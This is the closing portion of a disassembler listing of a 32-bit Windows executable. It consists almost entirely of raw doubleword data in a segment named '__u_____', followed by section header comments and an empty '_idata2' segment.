		dd 0B1035D03h, 2003C303h, 8804E105h, 6603EA04h,	0F7041604h
		dd 95043204h, 26038704h, 0A2043F04h, 4F041D03h,	5D043C04h
		dd 3C904h, 72038604h, 0B7043A04h, 9205BD04h, 4202AE05h
		dd 0C9050B03h, 3F03E004h, 0C2043904h, 0C1042003h, 3E003h
		dd 0FF03C104h, 2003E003h, 1E03E004h, 42004h, 3F03E004h
		dd 0FF040004h, 5D047A03h, 7A045D04h, 3B049F04h,	2046A04h
		dd 9604B004h, 96049E04h, 3A051F04h, 0C2039104h,	58034303h
		dd 19046705h, 0A503E305h, 0D8045E04h, 31043C04h, 2D03A404h
		dd 0F6040104h, 55042604h, 90036B04h, 0E1045D03h, 63046A03h
		dd 0E4040603h, 0FA03E103h, 0C304BD03h, 0A703E103h, 1E03DE04h
		dd 20045D04h, 2040004h,	3E03C504h, 43F04h, 0A403C204h
		dd 72042003h, 5D03A704h, 0FE037A02h, 97044501h,	9D047A02h
		dd 0F5028104h, 0B1035404h, 8A045A04h, 0E003FF03h, 3F03C103h
		dd 0C5040004h, 0E0040103h, 2003E103h, 40004h, 43F04h, 3E004h
		dd 40004h, 0E0040104h, 42003h, 2003E004h, 40004h, 3F042004h
		dd 20042004h, 2	dup(40004h), 0E003E004h, 42003h, 0E0040004h
		dd 5D03E003h, 5D03E004h, 5D040004h, 7A040004h, 76040004h
		dd 5D043F04h, 7203E004h
		dd 103C104h, 9403C104h,	8E042004h, 0FC043F04h, 5D045D04h
		dd 0D040004h, 3E005h, 0B5075004h, 8603E206h, 47606h, 8803FD04h
		dd 1F044F05h, 40204h, 3F040004h, 0C5042004h, 1041F03h
		dd 3F043F04h, 0FE040004h, 3FF03h, 2 dup(40004h), 20042004h
		dd 0C103FF04h, 0E0036A03h, 0A3042003h, 0C1040003h, 40003h
		dd 2 dup(40004h), 0E0040004h, 40003h, 4	dup(40004h), 0E0040004h
		dd 40003h, 0E0040004h, 3A303h, 60h dup(40004h),	9902DA04h
		dd 0BE01F404h, 2002AE03h, 0A1032804h, 1048604h,	43D04h
		dd 0E0040004h, 0E6036603h, 3E003h, 42004h, 3F042004h, 42004h
		dd 40004h, 1040004h, 40004h, 0FF03E704h, 1045D03h, 42004h
		dd 40004h, 3F040004h, 40004h, 3F040004h, 20042004h, 5 dup(40004h)
		dd 42004h, 20040004h, 40004h, 2	dup(42004h), 40004h, 2003E004h
		dd 22h dup(40004h), 42004h, 3Ah	dup(40004h), 35041C04h
		dd 0C401D703h, 0FF046C04h, 21049604h, 8702B305h, 69028305h
		dd 56027405h, 5F01DF05h, 0F703CE05h, 0BC042E04h, 0AE048A04h
		dd 403AB04h, 9602F105h,	7E032604h, 2F02AF05h, 94033403h
		dd 45040E03h, 0E9037104h, 8704EE03h, 202C002h, 26030702h
		dd 0D402A403h, 31046702h, 0F025902h, 3B035002h,	0C1032F03h
		dd 0A9037503h, 3B02D803h, 2004D504h, 26052704h,	88045304h
		dd 0A604AC04h, 0E3040105h, 8E048704h, 5D049104h, 7C050404h
		dd 16051F04h, 96045D04h, 37055104h, 3057D04h, 0F059204h
		dd 0C8050005h, 0B104A904h, 5B04F504h, 3D04C404h, 78047004h
		dd 16058304h, 1905C404h, 38066104h, 1F05A404h, 4F047204h
		dd 0C9053104h, 2004FA03h, 0A503A304h, 0FC04A104h, 7304D404h
		dd 9303DB03h, 0A604A505h, 903FF03h, 8E03FF05h, 66043D04h
		dd 8304F704h, 48041205h, 3F030A05h, 4103FF04h, 0E204CB05h
		dd 51040104h, 6C03FF04h, 19040204h, 21043F04h, 0CC040104h
		dd 0AF03FF03h, 5D041F04h, 7203E003h, 1E03DF04h,	96040004h
		dd 0C4040004h, 0C503C103h, 4C043D03h, 0B103FF03h, 40038E04h
		dd 7E048902h, 2F03E004h, 30049603h, 29041E04h, 40304h
		dd 45040004h, 0C2038603h, 1503E003h, 7A043D03h,	7403C204h
		dd 9603FF04h, 0F5042004h, 0A703E402h, 8A03FE03h, 95041A02h
		dd 0F103C704h, 58043F02h, 9F041A04h, 3F042002h,	0DF042004h
		dd 0FF045D03h, 0AF03E003h, 1F042003h, 96042004h, 3F03E003h
		dd 3F03E004h, 0E0045904h, 0E6042003h, 0D903E003h, 0ED042004h
		dd 38042002h, 4A03AE05h, 6004B405h, 94040004h, 3F042004h
		dd 1E041C04h, 5D03E204h, 3F042105h, 72043E04h, 7A042004h
		dd 0CB043F04h, 1403CB04h, 2C03E005h, 8C03FF05h,	4D04B104h
		dd 5C042005h, 3A904h, 6B051C04h, 65055F04h, 5A04E804h
		dd 0FE03F004h, 1403FE03h, 1F03FF04h, 4F03FF04h,	0FF03AD04h
		dd 0E0043F03h, 0FF03E003h, 3FF03h, 0FF03E004h, 40003h
		dd 3F040004h, 3E004h, 0E0033504h, 3F040003h, 3E004h, 0E003E004h
		dd 40003h, 0E0040004h, 40003h, 3A304h, 3E004h, 3 dup(40004h)
		dd 20040004h, 3E004h, 40004h, 42004h, 3E204h, 40004h, 0E0040004h
		dd 40003h, 5 dup(40004h), 43F04h, 7 dup(40004h), 42004h
		dd 7 dup(40004h), 3E004h, 3 dup(40004h), 0E0040004h, 40003h
		dd 6 dup(40004h), 3E004h, 0Bh dup(40004h), 0E0040004h
		dd 40003h, 2Eh dup(40004h), 34021404h, 74017702h, 0F703BB03h
		dd 0C102E203h, 0A303A303h, 3B03C103h, 0C1041F04h, 30903h
		dd 0E003E004h, 3F040003h, 0A303FF04h, 40103h, 1F042004h
		dd 1E040104h, 1042004h,	41E04h,	3 dup(40004h), 0A3040004h
		dd 40003h, 42004h, 40004h, 1040004h, 2 dup(40004h), 42004h
		dd 0E0042004h, 40003h, 4 dup(40004h), 0E0040004h, 40003h
		dd 5 dup(40004h), 42004h, 0Eh dup(40004h), 20040004h, 6	dup(40004h)
		dd 20040004h, 11h dup(40004h), 20040004h, 0Fh dup(40004h)
		dd 20040004h, 1Fh dup(40004h), 9504A304h, 0F0039503h, 0A5047204h
		dd 8804C104h, 41038603h, 9A047D04h, 99046004h, 8B03F304h
		dd 0A3042004h, 1603D503h, 2B03EE04h, 0A5038603h, 9C03E603h
		dd 30041A03h, 3903A704h, 3C038C03h, 0FC03A304h,	0E0040103h
		dd 0C3043F03h, 0FD03FF03h, 8B040403h, 0C7048C03h, 0E2049C03h
		dd 0DF045C03h, 1F03C303h, 7A040104h, 0A3045304h, 90043F03h
		dd 5D03C504h, 0E0040604h, 0E0046E03h, 1D033503h, 45D04h
		dd 6A042004h, 5C045703h, 3FF04h, 0A3042004h, 0FF03E003h
		dd 1E03A303h, 0C1045D04h, 0FF043D03h, 0FF03FF03h, 3F040203h
		dd 1042004h, 0C03C104h,	0C1045D04h, 0C1045D03h,	0C103C103h
		dd 0A3041E03h, 3F049603h, 0FF03C204h, 0FF043F03h, 96040003h
		dd 3C104h, 3F045D04h, 1B040004h, 3E03FF04h, 20036A04h
		dd 1E040004h, 45D04h, 86042004h, 20040103h, 3C104h, 20036C04h
		dd 0E203C104h, 40003h, 3F040004h, 3E004h, 3B03E604h, 0FF03E004h
		dd 0C1042003h, 43F03h, 20040004h, 40004h, 3E004h, 20042004h
		dd 3E004h, 3F045D04h, 5D042004h, 20040004h, 5D041F04h
		dd 3F03E004h, 0C103C104h, 20040103h, 20042004h,	0C1042004h
		dd 20040103h, 20040004h, 20042004h, 96045D04h, 5D041F04h
		dd 40004h, 0E2043F04h, 3F040003h, 2 dup(43F04h), 103FF04h
		dd 42004h, 1E041E04h, 5D040004h, 0E003E004h, 20045D03h
		dd 3F042004h, 0FF040004h, 43F03h, 0B1040004h, 42004h, 43F04h
		dd 5D040004h, 1040004h,	40004h,	7A040004h, 20045D04h, 20043F04h
		dd 42004h, 0C1049604h, 42003h, 1040004h, 5D03E004h, 40004h
		dd 2 dup(20040004h), 20036A04h,	0E003E004h, 40003h, 3C104h
		dd 0E0040004h, 38C03h, 9F054604h, 0FA041703h, 70040103h
		dd 43B04h, 0E003E004h, 43B03h, 3F045D04h, 2 dup(3E004h)
		dd 42004h, 2 dup(40004h), 45D04h, 20040004h, 8 dup(40004h)
		dd 42004h, 40004h, 0C1040004h, 40003h, 12h dup(40004h)
		dd 0E0040004h, 40003h, 0Ah dup(40004h),	3E004h,	47h dup(40004h)
		dd 0D02EA04h, 0C103A703h, 0A7031C03h, 0A303E003h, 0E003E003h
		dd 8A03C303h, 20042003h, 40004h, 40104h, 40004h, 1F042004h
		dd 42004h, 0E1043F04h, 0E0040003h, 40003h, 2 dup(40004h)
		dd 42004h, 20040004h, 4	dup(40004h), 42004h, 20040004h
		dd 40004h, 43F04h, 0E0040004h, 42003h, 63h dup(40004h)
		dd 0BC045C04h, 0B6041E04h, 9D042C03h, 96039404h, 73037804h
		dd 5104A503h, 20041F04h, 5D03C904h, 8803CB04h, 5C045D03h
		dd 0E0039E04h, 0E203E003h, 20038603h, 203C104h,	86041E04h
		dd 1803C103h, 0E003A904h, 20043F03h, 8C041E04h,	0FE040204h
		dd 0FE042003h, 0FF045A03h, 0E0045C03h, 0E1043F03h, 47A03h
		dd 0FF03C204h, 3E003h, 3F03FF04h, 0C1043F04h, 42003h, 0C103FF04h
		dd 0FF040103h, 0E0042003h, 20043D03h, 1F03C104h, 0E0042004h
		dd 0E0040003h, 8603FF03h, 3F03E003h, 1043F04h, 20043F04h
		dd 1F040004h, 5D03C104h, 2 dup(3F043F04h), 3E004h, 3F042004h
		dd 0E0040004h, 8603FF03h, 40003h, 20040004h, 0E0042004h
		dd 42003h, 3E004h
		dd 0E0040004h, 3F042003h, 3F040004h, 40004h, 20043F04h
		dd 40004h, 0FF040004h, 3C103h, 0FF03FF04h, 3F03C103h, 0FF03C104h
		dd 42003h, 0E0042004h, 2003E003h, 40004h, 103C104h, 2003E004h
		dd 40004h, 3E004h, 20040004h, 20043F04h, 20042004h, 42004h
		dd 0FF042004h, 1040003h, 20040004h, 3F03E004h, 0E0040004h
		dd 40003h, 3F040004h, 42004h, 0FF040104h, 103E003h, 3F040004h
		dd 1040004h, 5D040004h,	2 dup(42004h), 20040004h, 1040004h
		dd 2 dup(40004h), 2003E004h, 42004h, 3C104h, 2 dup(40004h)
		dd 20040004h, 0FF040004h, 3E003h, 2003E004h, 2 dup(40004h)
		dd 3E004h, 2 dup(40004h), 20042004h, 3F040004h,	40004h
		dd 0C1040004h, 40003h, 40004h, 1040004h, 20040004h, 3 dup(40004h)
		dd 0E0040004h, 3C103h, 43F04h, 20040004h, 0E0042004h, 42003h
		dd 3FF04h, 1E04A804h, 3F03E004h, 47A04h, 20040004h, 3 dup(40004h)
		dd 0E0042004h, 40003h, 40004h, 42004h, 0Ah dup(40004h)
		dd 42004h, 8 dup(40004h), 42004h, 0Bh dup(40004h), 20040004h
		dd 11h dup(40004h), 0E0040004h,	40003h,	17h dup(40004h)
		dd 0E0040004h, 40003h, 29h dup(40004h),	4F043D04h, 3C103h
		dd 43F04h, 0E0040104h, 0C3040003h, 40003h, 2 dup(40004h)
		dd 42004h, 40004h, 3FF04h, 3 dup(40004h), 0E0040004h, 40003h
		dd 4 dup(40004h), 20040004h, 6Bh dup(40004h), 79047704h
		dd 7D02B704h, 7D052505h, 0B5032304h, 5C045E04h,	0CD041404h
		dd 7203CF04h, 0DE048E04h, 1F050B04h, 0E2045904h, 50043804h
		dd 0FE041203h, 0DF043E03h, 0A904A503h, 0EC041E04h, 0C2045903h
		dd 0FA040404h, 0E1040103h, 0C203C203h, 8203E003h, 5E047A04h
		dd 20041E04h, 35045D04h, 19042004h, 0E2046E04h,	20042003h
		dd 5703DF04h, 8A042004h, 3B042004h, 0B303E204h,	96041E03h
		dd 0B03C203h, 7A049605h, 78043B04h, 2003FF04h, 1042004h
		dd 0E003E204h, 3F045D03h, 45D04h, 23042004h, 3F043D04h
		dd 1040004h, 0FF042004h, 20045D03h, 0B1040004h,	7A042004h
		dd 7A047A04h, 96049604h, 86045D04h, 20045D03h, 20040104h
		dd 3F040004h, 3F042004h, 5D045D04h, 20043F04h, 4F040004h
		dd 3F043F04h, 1E042004h, 2003E004h, 5D043F04h, 5B043F04h
		dd 1043D04h, 20047604h,	0A003E104h, 0E0043F03h,	7A040003h
		dd 1F040004h, 9603E004h, 20042004h, 2003A304h, 2 dup(20040004h)
		dd 20042004h, 40104h, 20042004h, 3F040004h, 5D040004h
		dd 40004h, 20040004h, 57040004h, 1F047A04h, 5D042004h
		dd 42004h, 5D040004h, 103E104h,	103E004h, 20040104h, 0E0040004h
		dd 40003h, 0B1040004h, 3F040004h, 3E042004h, 2 dup(7A040004h)
		dd 57040004h, 96040004h, 2 dup(20040004h), 1F03DF04h, 2	dup(20040004h)
		dd 2003E004h, 40004h, 3F040004h, 20040004h, 3F040004h
		dd 5D040004h, 7A040004h, 3F03E004h, 20040004h, 40004h
		dd 5B040004h, 3F03C104h, 1040004h, 20040004h, 3F040004h
		dd 42004h, 2003E004h, 3F040004h, 5D040004h, 96040004h
		dd 7A041E04h, 5D03E004h, 20042004h, 96042004h, 0E003E004h
		dd 5D040003h, 3C104h, 3B04DA04h, 0E104C904h, 5D043E03h
		dd 20043F04h, 0A3040004h, 3F03C303h, 3F03FF04h,	20043F04h
		dd 40004h, 42004h, 40004h, 2003FE04h, 0E0040004h, 0E0040003h
		dd 3F040003h, 7	dup(40004h), 0C103E004h, 3C103h, 3E004h
		dd 4 dup(40004h), 0C1040004h, 40003h, 61h dup(40004h)
		dd 0B5028F04h, 0E0034F02h, 0A302BF03h, 36A03h, 3E004h
		dd 3F034F04h, 42004h, 3A304h, 2	dup(40004h), 0C1040004h
		dd 0E003C103h, 40003h, 20040004h, 40004h, 2003E004h, 2 dup(40004h)
		dd 20040004h, 3	dup(40004h), 42004h, 20040004h,	7 dup(40004h)
		dd 3C104h, 1Fh dup(40004h), 43F04h, 40h	dup(40004h), 3B056004h
		dd 0F9047203h, 0F002D704h, 73032C04h, 2003C404h, 38026902h
		dd 3803F406h, 4204CA05h, 3F053804h, 0CC044A04h,	44044404h
		dd 8D05F003h, 4303C103h, 0B803DC04h, 0A5042004h, 1903E603h
		dd 0B702CF03h, 0AD047A04h, 95043F04h, 0A203FF04h, 3603FF03h
		dd 0FE038B04h, 10052A03h, 0DF034302h, 51203h, 1C03FF04h
		dd 3B03E104h, 0AB041D04h, 20041E04h, 58040004h,	0E004E404h
		dd 0C103C303h, 1F051303h, 7504EB04h, 2B04CC05h,	0E4049605h
		dd 1D045D04h, 5A045D04h, 3D045D04h, 2047A04h, 3F043A04h
		dd 0A303C104h, 0CB033504h, 3F030504h, 2E040104h, 6A042004h
		dd 1E063D03h, 1F047904h, 2304B104h, 45D04h, 20040004h
		dd 0A3042004h, 0E003FF03h, 5D03FF03h, 1F03E004h, 0C103C104h
		dd 1F03FF03h, 20042004h, 40004h, 96040004h, 0E103E104h
		dd 0E003E003h, 0E003C103h, 5D03E103h, 7A041C04h, 3F045D04h
		dd 14042004h, 0EF03A305h, 0E303A304h, 2B042004h, 0B1040005h
		dd 0AF042004h, 1F040004h, 5D040004h, 5D03C104h,	74040004h
		dd 1F042004h, 0E0040004h, 0FE03E003h, 0FF040003h, 6A03C103h
		dd 3F03E103h, 40004h, 4D03C104h, 20038604h, 35048B04h
		dd 20040003h, 0C104AB04h, 20040003h, 0CB042004h, 0E0045D04h
		dd 40003h, 0FE049604h, 0C103C103h, 0E203E003h, 5D041E03h
		dd 0CB03C104h, 3F040003h, 0A3038704h, 40003h, 40004h, 0E0040004h
		dd 20040003h, 40004h, 20042004h, 3E004h, 2003E004h, 5D03E004h
		dd 40004h, 1042004h, 3E004h, 0A303FF04h, 0E003A903h, 0FF03E003h
		dd 20042003h, 0E0040004h, 40003h, 2 dup(40004h), 96040004h
		dd 20040004h, 3B043F04h, 36A04h, 2 dup(3E004h),	3C104h
		dd 0E003E004h, 3FF03h, 0EC075704h, 0A003E005h, 0E0044405h
		dd 68041E03h, 0E0042003h, 40003h, 3F040004h, 42004h, 2003C104h
		dd 40004h, 45D04h, 53C04h, 40004h, 2 dup(20040004h), 40004h
		dd 0E0040004h, 0E003E003h, 40003h, 40004h, 20040004h, 40004h
		dd 3F040004h, 4	dup(40004h), 20040004h,	40004h,	0E0040004h
		dd 40003h, 0Ah dup(40004h), 0E0040004h,	3E003h,	3 dup(40004h)
		dd 56B04h, 2Dh dup(40004h), 6A03E004h, 40003h, 22h dup(40004h)
		dd 0D049904h, 0AB037002h, 29D04h, 5D03E004h, 0E4040103h
		dd 24803h, 40004h, 3F042004h, 45904h, 2	dup(42004h), 2 dup(40004h)
		dd 0E0040004h, 40003h, 40004h, 3F040004h, 42004h, 2 dup(40004h)
		dd 0FF040004h, 40003h, 95040004h, 40002h, 4 dup(40004h)
		dd 42004h, 10h dup(40004h), 0C1040004h,	40003h,	8 dup(40004h)
		dd 0E0040004h, 40003h, 23h dup(40004h),	0FC042004h, 13h	dup(40004h)
		dd 42004h, 0Fh dup(40004h), 50037D04h, 8603A403h, 14038A04h
		dd 4502DE05h, 3902FE04h, 52038603h, 4A037406h, 0A9045903h
		dd 0A3041204h, 9003E503h, 67045E04h, 0DE04DB03h, 0E2040102h
		dd 0E203F803h, 0D4032B03h, 0A0044302h, 5703A904h, 4A704h
		dd 35042004h, 0B1048E04h, 5103E004h, 103FC04h, 7004FC04h
		dd 5D03E203h, 0E004F804h, 3F03FF03h, 5D03A304h,	2003E104h
		dd 20041F04h, 5D041F04h, 0C2053804h, 5D03C303h,	0E003E004h
		dd 39043D03h, 0A403E104h, 42003h, 0FF040004h, 0C503E003h
		dd 3F03FF03h
		dd 203E004h, 40004h, 20042004h,	7A03C504h, 3F03C204h, 5703FF04h
		dd 0A3040004h, 20044D03h, 0E0040104h, 8A043F03h, 47A03h
		dd 20042004h, 1042004h,	40004h,	3D03E104h, 3F042004h, 0E003A304h
		dd 3F040003h, 20042004h, 5D040004h, 5D03C204h, 3F040004h
		dd 5D042003h, 3F036A04h, 78038604h, 20042004h, 3C104h
		dd 0A303E004h, 8603E003h, 0E003FF03h, 1043F03h,	0E0045704h
		dd 40003h, 40004h, 0E0040004h, 3E003h, 0E0042004h, 0E0042003h
		dd 0C303E003h, 3C103h, 0E003E004h, 3E003h, 40004h, 0E0040004h
		dd 2040003h, 0E003E004h, 0C5042003h, 0E0040003h, 3F038603h
		dd 20040004h, 0B1042004h, 45D04h, 40004h, 1045D04h, 2003E004h
		dd 0E0040004h, 3F03E003h, 0C103A304h, 4040003h,	6A030D04h
		dd 3E003h, 0E0040004h, 20040003h, 0E0040004h, 0E0040003h
		dd 3E003h, 40004h, 0E0040004h, 5D03FF03h, 0E003E004h, 0FF040003h
		dd 40003h, 41F04h, 42004h, 0C1040004h, 20040003h, 0E0040004h
		dd 40003h, 0C3040004h, 0E0042003h, 5D03E003h, 40004h, 0E0040004h
		dd 20032B03h, 0A3040004h, 40003h, 3F03A404h, 40004h, 43B04h
		dd 3C045D04h, 5D047804h, 0FF041F04h, 0E0042003h, 40003h
		dd 40004h, 20040004h, 40004h, 42004h, 40004h, 3E004h, 42004h
		dd 3E004h, 0E0040004h, 40003h, 40004h, 20040004h, 6 dup(40004h)
		dd 42004h, 9 dup(40004h), 20040004h, 9 dup(40004h), 3E004h
		dd 2 dup(40004h), 20042004h, 14h dup(40004h), 0E0040004h
		dd 40003h, 17h dup(40004h), 0E0040004h,	0E0040003h, 40003h
		dd 21h dup(40004h), 39042D04h, 2003C103h, 5D041A04h, 0FF03E004h
		dd 0C1040003h, 0E003C103h, 40003h, 42004h, 2 dup(40004h)
		dd 2 dup(3E004h), 9 dup(40004h), 3E004h, 0E0040004h, 40003h
		dd 68h dup(40004h), 0F045D04h, 4D038705h, 2E050505h, 0B8032806h
		dd 0E8043D04h, 9304AF02h, 88034605h, 85030203h,	0F103CD04h
		dd 6003CB03h, 0F305B104h, 0BF047202h, 0C1035D03h, 0AA03E303h
		dd 9203E204h, 87031603h, 0A703BB04h, 603A704h, 14044D04h
		dd 0EA045D04h, 90047A03h, 0C103C204h, 0E0055603h, 0C803E003h
		dd 1F04DD03h, 42204h, 0C1040104h, 55043F03h, 3043F03h
		dd 0A903C304h, 6C041A03h, 82032B03h, 0FF045603h, 0BF03D703h
		dd 90041E04h, 1D044904h, 0C203DF04h, 0C1041F03h, 0C7045D03h
		dd 20045D03h, 0FE03FF04h, 0C5040003h, 20040404h, 41E04h
		dd 0A303C104h, 1040003h, 45D04h, 71042004h, 2F04CB04h
		dd 104B104h, 72042004h,	3FF04h,	0E0040004h, 20042003h
		dd 3E045D04h, 20040104h, 3F03E404h, 0E2040004h,	20045D03h
		dd 0E0036A04h, 6A043D03h, 3F043F03h, 0E1041404h, 5D03B903h
		dd 3B037204h, 3B03C104h, 5B045904h, 14038604h, 0FF03E105h
		dd 3B045D03h, 0CB03E004h, 1E040104h, 3F040104h,	0FF041E04h
		dd 0FF038603h, 2003E003h, 0E203E204h, 1040003h,	2003C504h
		dd 0FF040004h, 103E003h, 0FF03C104h, 3C103h, 0C5040004h
		dd 9603C203h, 2003E304h, 1040004h, 3E004h, 40004h, 0E3043F04h
		dd 40103h, 20040004h, 0E0042004h, 40003h, 0E0040004h, 3D040003h
		dd 5903A304h, 5303E003h, 4F03C303h, 20040003h, 2003E004h
		dd 21040004h, 0C1042004h, 43F03h, 2 dup(40004h), 0E0042004h
		dd 2 dup(0E0040003h), 5D040003h, 20042004h, 0E003E004h
		dd 1F040003h, 3F03C104h, 40004h, 0E0040004h, 20043F03h
		dd 0FF040004h, 3E003h, 3A904h, 0E103E004h, 42003h, 1F03A904h
		dd 0C103E004h, 1040003h, 0E203A304h, 7A047A03h,	33F04h
		dd 28067C04h, 7A049206h, 5A045A05h, 2003E004h, 0E003E004h
		dd 7A040003h, 40004h, 1F040004h, 45D04h, 40004h, 45B04h
		dd 1E040004h, 40004h, 3E004h, 40004h, 0E0040004h, 1043F03h
		dd 3 dup(40004h), 0C1040004h, 40003h, 40004h, 20040004h
		dd 3E004h, 6 dup(40004h), 42004h, 0FF03E004h, 20040003h
		dd 0Dh dup(40004h), 0E0040004h,	40003h,	0Dh dup(40004h)
		dd 20040004h, 2	dup(40004h), 0E0040004h, 40003h, 0E0040004h
		dd 40003h, 3Bh dup(40004h), 0FD03D004h,	1E038602h, 0FF04CB04h
		dd 3E041C03h, 6A042004h, 0E0040003h, 3E003h, 0E203C104h
		dd 20042003h, 2	dup(40004h), 0E0040004h, 3E003h, 2 dup(40004h)
		dd 0E003C104h, 20040003h, 3 dup(40004h), 1040004h, 2 dup(40004h)
		dd 20040004h, 40004h, 42004h, 5	dup(40004h), 42004h, 0Ah dup(40004h)
		dd 3E004h, 2Ah dup(40004h), 42004h, 27h	dup(40004h), 20040004h
		dd 2 dup(40004h), 5003ED04h, 0EB034303h, 0EE043803h, 6903DF04h
		dd 98032D06h, 2C301h, 90036307h, 58027402h, 0F404B904h
		dd 7D050E02h, 6205F905h, 3305C601h, 203E003h, 6B045004h
		dd 95052D05h, 7E032E03h, 6031805h, 0E003FF04h, 3C04D503h
		dd 0F04D503h, 7603C104h, 0A304DE04h, 0FE06D603h, 0C4033600h
		dd 3F053704h, 88045D04h, 0CC03C403h, 8A045403h,	6403C103h
		dd 0E104FC03h, 13048C03h, 0C02A404h, 0FA04F305h, 92034203h
		dd 0FF04B104h, 3F03FF03h, 1703E204h, 0F0049603h, 0A2044803h
		dd 7203E003h, 40204h, 7B043F04h, 9B019805h, 3C704h, 7A045D04h
		dd 0FF03E004h, 0E005D403h, 83040103h, 0B047803h, 1048C03h
		dd 1F040004h, 20040004h, 0E1045C04h, 5903FF03h,	0B1043504h
		dd 7A03E104h, 32704h, 99043F04h, 53029903h, 0FF040004h
		dd 35043B03h, 0DF040103h, 90034F03h, 78028D04h,	7A048203h
		dd 5903E004h, 1D045D04h, 3702BF04h, 8E042004h, 0E0040003h
		dd 20042003h, 1042004h,	0E0040004h, 3F043F03h, 21036A04h
		dd 7A040004h, 76036A04h, 0E003DD03h, 34F03h, 0CB03E004h
		dd 86042004h, 3FF03h, 0C1040004h, 0D040003h, 8602AA05h
		dd 4A04CA03h, 3F03A903h, 3C504h, 20040004h, 25040004h
		dd 5FC06h, 0E003E004h, 0C1042003h, 3E103h, 3F03E004h, 96043F04h
		dd 0A4030404h, 5B042003h, 3502E703h, 2003FF03h,	40104h
		dd 0C1040004h, 42003h, 0E0040004h, 0C1040003h, 0E003E003h
		dd 103FF03h, 7A03C104h,	6A042004h, 0FA042003h, 20040003h
		dd 1F043F04h, 2003E004h, 37A04h, 3F040004h, 20040004h
		dd 20037004h, 76043504h, 42004h, 20040004h, 1E042004h
		dd 42004h, 20033504h, 6A042004h, 38603h, 90038C04h, 0FF040103h
		dd 2C003h, 5406B204h, 5B04C405h, 1D047106h, 6D042505h
		dd 0E2042006h, 7A04D703h, 43F04h, 0D103E204h, 0E0045D05h
		dd 20040003h, 51604h, 0C104B104h, 43F03h, 3FF04h, 20047A04h
		dd 19043F04h, 3F040005h, 3 dup(40004h),	7E040004h, 40003h
		dd 0E004FC04h, 40003h, 3F03FF04h, 42004h, 0E0042004h, 40003h
		dd 0E0040004h, 0E0040003h, 3F040003h, 1C03E004h, 43F03h
		dd 3F040004h, 7	dup(40004h), 1040004h, 2 dup(40004h), 86040004h
		dd 40003h, 40204h, 40004h, 0E0040004h, 0E0040003h, 40003h
		dd 0Dh dup(40004h), 0C103A304h,	40003h,	40004h,	0C1040004h
		dd 40003h, 10h dup(40004h), 3C104h, 6 dup(40004h), 0E0040004h
		dd 40003h
		dd 6 dup(40004h), 3E004h, 40004h, 3E004h, 3 dup(40004h)
		dd 3E004h, 0Ah dup(40004h), 3C104h, 0Ah	dup(40004h), 7A02F404h
		dd 102BC01h, 0C1052304h, 0E2033403h, 51040103h,	0A3034F02h
		dd 8603C103h, 2031C03h,	40004h,	42004h,	4040004h, 40003h
		dd 0C103E004h, 40003h, 40004h, 0FE036C04h, 20043F03h, 2	dup(40004h)
		dd 20040004h, 19040004h, 40004h, 0A5040004h, 40003h, 42004h
		dd 40004h, 42004h, 40004h, 0A3040004h, 40003h, 40004h
		dd 3045D04h, 0Ah dup(40004h), 3A304h, 40004h, 96040004h
		dd 4 dup(40004h), 0E0040004h, 0E0040003h, 40003h, 0E0040004h
		dd 40003h, 4 dup(40004h), 3A304h, 2 dup(40004h), 3F040004h
		dd 20040004h, 40004h, 42004h, 12h dup(40004h), 20040004h
		dd 40004h, 42004h, 6 dup(40004h), 20040004h, 18h dup(40004h)
		dd 42004h, 0Ah dup(40004h), 1F1Ch dup(0)
__u_____	ends

; Section 3. (virtual address 00021000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00021000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 421000h
		align 2000h
_idata2		ends


		end start